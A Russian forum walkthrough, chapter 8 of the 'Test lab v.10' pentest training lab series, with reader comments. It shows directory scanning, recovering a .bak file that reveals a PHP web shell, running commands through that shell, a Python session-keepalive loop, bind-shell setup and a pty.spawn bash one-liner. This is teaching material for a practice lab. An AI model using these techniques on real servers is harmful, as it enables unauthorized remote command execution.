• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (8)

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Глава 8
Предыдущая глава
Следующая глава
Оглавление

tl10-png.8234


Доброго времени суток колеги. Очередная статья к вашему вниманию об пентесте эмулированной корпоративной сети.Сегодня мы с вами снова затроним Web Application Pentesting.
  • Вспомним про поиск директорий и файлов на сайте через утилиту dirsearch
  • Найдем ошибки в конфигурации администратора веб приложения
  • Научимся выполнять удаленные команды на вебсервере через найденный встроенный веб шелл
Будем атаковать сегодня машину,которая на топологии сети обозначена как Captcha(192.168.0.7)
2017-01-05-163401_148x187_scrot.png


Ну что же, давайте приступим.
Сперва как обычно пробросим порт:

SSH> -L 80:192.168.0.7:80

Откроем браузер,посмотрим что там у нас:

2017-01-05-170340_1023x529_scrot.png


Похоже на какой то сервис по проверке капчи,только вот саму капчу не видно,видимо картинка не прогрузилась.
Давайте попытаемся обратится по пути картинки (правой кнопкой мышки - копировать путь картинки,и вставим в адресной строке)

2017-01-05-171553_1016x390_scrot.png


примерно такая ссылка у нас :

http://127.0.0.1/sources/473e95ed33afad031b9ef4e66128496ce66b4645f850e91651fdee05f1eaafccd6db3b927d55165bda6523a917a84c698875513082117f7be857875bff89d4b03c2f52b2e29879ec58c90546a5a3b5889f48c48f609ba907350d717c682177e8b2f0f1/captcha.png
Как видим ошибку сервера... Хмм.. Странно.. Давайте поищим директории и файлы утилитой DirSearch:

2017-01-05-172626_886x433_scrot.png


Как видим нашло два текстовых файла:
/readme.txt
/robots.txt

2017-01-05-173309_554x281_scrot.png


2017-01-05-173403_613x356_scrot.png


Смотрим их и видим что в файле robots.txt скрыто от индексирования поисковыми роботами файлы с расширением *.bak. В readme.txt пишут что бы не забыли поудалять все кешированые капчи.

Хм... Видимо бекапы какие то где то лежат и удаляются время от времени... Поискал на сервере возможные бекапы:
index.bak
index.php.bak
config.bak
config.php.bak
и т.д.
Но увы это не дало никаких результатов...

Затем вспоминаем нашу непонятную картинку и пробуем вместо .png указать разрешение .bak

2017-01-05-173605_1023x441_scrot.png


Видим нам предлагает сохранить файл.Ну что ж сохраним и посмотрим что в нем:

2017-01-05-173817_877x139_scrot.png


Ухты) Получаем подсказку в виде кусочка кода на PHP:
КАПЧА сказал(а):
file_put_contents($session_path. /captcha, serialize($_SESSION)); - в случае обращения по $session_path/captcha - на вывод вернется сеарилизованый обьект масива $_SESSION

file_put_contents($session_path. /($_SESSION).php, ?php system($_GET[session]); ? -- а это уже вшитый веб шел
Давайте сначала глянем на сериализованый обьект $_SESSION:
a:1:{s:2:"id";s:198:"e3799776f4aa6ee753dd41b16c496f2166584b1c0749c7ae3d656284a4d68361c23f4cbd11d034ee483d583650556a8117fb7e68c73e6fce77bb16f0a9e16d5a710e1c8fb144ead4b8b1479faa0252ea00134fd441e0a0893138489db02eee1805141a";}
2017-01-05-174925_1023x291_scrot.png


Вот наш масив $_SESSION с одним значением id:
2017-01-05-174935_1023x55_scrot.png


Давайте попробуем заюзать вшитый веб шел:
DarkNode WebShell сказал(а):

http://127.0.0.1/sources/473e95ed33afad031b9ef4e66128496ce66b4645f850e91651fdee05f1eaafccd6db3b927d55165bda6523a917a84c698875513082117f7be857875bff89d4b03c2f52b2e29879ec58c90546a5a3b5889f48c48f609ba907350d717c682177e8b2f0f1/($_SESSION).php?session=id

2017-01-05-182303_1021x287_scrot.png


Но если мы попытаемся выполнить другую команду - то получим 500 ошибку от веб сервера,так как файлы удаляются спустя некоторое время а сессия умерает. Для того что бы придержать файлы на сервере я создам бесконечный цикл обращения по одной куки к главной странице,тогда файлы будут оставатся на месте.

Куки посмотреть можно прям в браузере,любым аддоном для кук браузера или же как я в инженерном меню браузера (в моем случае Firefox)

2017-01-05-181618_1023x524_scrot.png


Далее мой любимий питон и простенький бесконечный цикл обращение с нашими куками:
[hidepl="3,1"]
2017-01-05-181845_454x176_scrot.png

Python:
#!/usr/bin/env python
import requests

url="http://127.0.0.1"
headers={"Cookie":"PHPSESSID=sqs56fn6j5gl102l1e7g834280"}

while True:
    requests.get(url,headers=headers)
[/hidepl]
После чего можно спокойно поднимать bind shell:

2017-01-05-183349_1023x356_scrot.png


2017-01-05-183923_1023x599_scrot.png

Забираем токен :)


Предыдущая глава
Следующая глава
Оглавление

Всем спасибо)
 
Последнее редактирование:
A

a113

Спасибо за статью!Очень интересная! а requests это же не стандартная библиотека в python, так?
 
  • Нравится
Реакции: <~DarkNode~>
A

a113

как ни прискорбно, но не стандартная :(

Traceback (most recent call last):
File "<pyshell#0>", line 1, in <module>
import requests
ModuleNotFoundError: No module named 'requests'

возможно в kali она автоматически скачивается для работы некоторых программ.
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
как ни прискорбно, но не стандартная :(

Traceback (most recent call last):
File "<pyshell#0>", line 1, in <module>
import requests
ModuleNotFoundError: No module named 'requests'
Какая версия питона?
В 3-й вроде нету точно а во 2-й должно быть:
Снимок.PNG
 
  • Нравится
Реакции: sdfsd и a113
G

gusevna

Спасибо за статью. Очень много полезной информации собрано.
 
  • Нравится
Реакции: <~DarkNode~>
S

sdfsd

где-то ошибка?
 

Вложения

  • lab8_.png
    lab8_.png
    38 КБ · Просмотры: 343
M

mafiasepa

Вложения

  • Снимок экрана от 2017-01-08 18-40-20.png
    Снимок экрана от 2017-01-08 18-40-20.png
    237 КБ · Просмотры: 193
Последнее редактирование модератором:
S

sdfsd

Трудно сказать...
после команды python -c 'import pty;pty.spawn("/bin/bash")' - должно появится переменная среда баша.

как подсказали тут быстрее надо ввести команду,но после export PS1....... получаю >
я сейчас вобще пробросил порт, а 127.0.0.1 говорит 404o_O
 
D

Dmitry88

как подсказали тут быстрее надо ввести команду,но после export PS1....... получаю >
я сейчас вобще пробросил порт, а 127.0.0.1 говорит 404o_O
попробуй сразу нс на слушанье поставить, а потом уже исполнить команду. У меня со второго раза вышло. Не смотря на ошибку.
 
S

sdfsd

попробуй сразу нс на слушанье поставить, а потом уже исполнить команду. У меня со второго раза вышло. Не смотря на ошибку.

кучу вариантов перебрал.Сейчас только id удается выполнить и то с сотого раза. а дальше нивкакую.Поначалу только баш-а получить не мог,а тут вообще непонятка.
 
D

Dmitry88

кучу вариантов перебрал.Сейчас только id удается выполнить и то с сотого раза. а дальше нивкакую.Поначалу только баш-а получить не мог,а тут вообще непонятка.
А сессию свою вписал в скрипт ? Она же генерируется каждый раз новая. Соответственно и в кукисах меняется.
 
  • Нравится
Реакции: <~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Там если не держать сессию скриптом - выполняется только один запрос (первый). Потом вроде как сессия рвется и путь к файлу пропадает.На выходе получаем 500 ошибку сервера.
 
  • Нравится
Реакции: Dmitry88 и sdfsd
S

sdfsd

Hi people!!! I am a goofшара!!!
в скрипте при копипасте затер PHPSESSID= кукой. token taken.
Это просто крутяк!!!!!
[doublepost=1484059846,1484059600][/doublepost]
Там если не держать сессию скриптом - выполняется только один запрос (первый). Потом вроде как сессия рвется и путь к файлу пропадает.На выходе получаем 500 ошибку сервера.

Там если не держать сессию скриптом - выполняется только один запрос (первый). Потом вроде как сессия рвется и путь к файлу пропадает.На выходе получаем 500 ошибку сервера.

получил путь к картинке запустил скрипт и bind shell сразу
 
  • Нравится
Реакции: <~DarkNode~>
S

Sinistra

Получил токен методом Мартинеза, через nc, но ручками конечно круче. На втором заходе обязательно попробую.
 
  • Нравится
Реакции: <~DarkNode~>
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!